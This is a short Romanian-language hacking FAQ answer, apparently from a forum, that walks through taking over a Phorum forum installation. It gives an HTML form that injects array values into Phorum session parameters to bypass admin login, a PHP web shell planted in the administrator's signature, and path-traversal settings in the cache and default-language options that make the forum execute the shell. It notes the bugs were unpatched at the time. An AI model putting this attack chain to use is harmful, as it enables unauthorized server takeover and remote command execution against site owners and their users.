Rezolvare: Destul de simplu ! Pentru aceasta ai nevoie de a crea un mic html-file cu următorul conţinut:
Cod: |
<_html> <_body> <_form action="http://phorum.site.com/admin.php" method="POST"> <_input type="hidden" name="phorum_admin_session[]" value="1"> <_input type="hidden" name="phorum_session_v5[]" value="=1"> <_input type="submit" calue="Inject ! "> <_/form> <_/body> <_/html> P.S. Liniile _ din cod se elimina |
- Intrăm în pagina de redactare a profilului administratorului. În semnătura lui punem un mic shell ca acesta: <_?php>'; system($_GET [cmd]); print '<_/pre>'; ?>.
- În rezultat afişării unui cod incorect în profilul administratorului observăm o greşeală << full path disclosure în momentul intrării in pagina principală a forumului >>. Copiem calea către fişierul cache.php ( de exemplu /home/www/phorum/cache.php), care apoi îi vom face shell în md5.
- În configuraţiile Phorum bifăm secţiunea cache users. Arătăm calea pentru fişierele shell-uite /../../../../../../../../../../../../../../../../tmp şi în default language punem /../../../../../../../../../../../../../../../../../tmp/md5('home/www/phorum/cache.php')/user/c4ca/4238/a0b9/2382/0dcc/509a/6f75/849b/data.
- Din nou intrăm în Admin Control Panel pentru a activa noul cod în cache şi primim plăcere de la shell. În momentul cînd am scris acest FAQ ambele bug-uri nu erau încă astupate.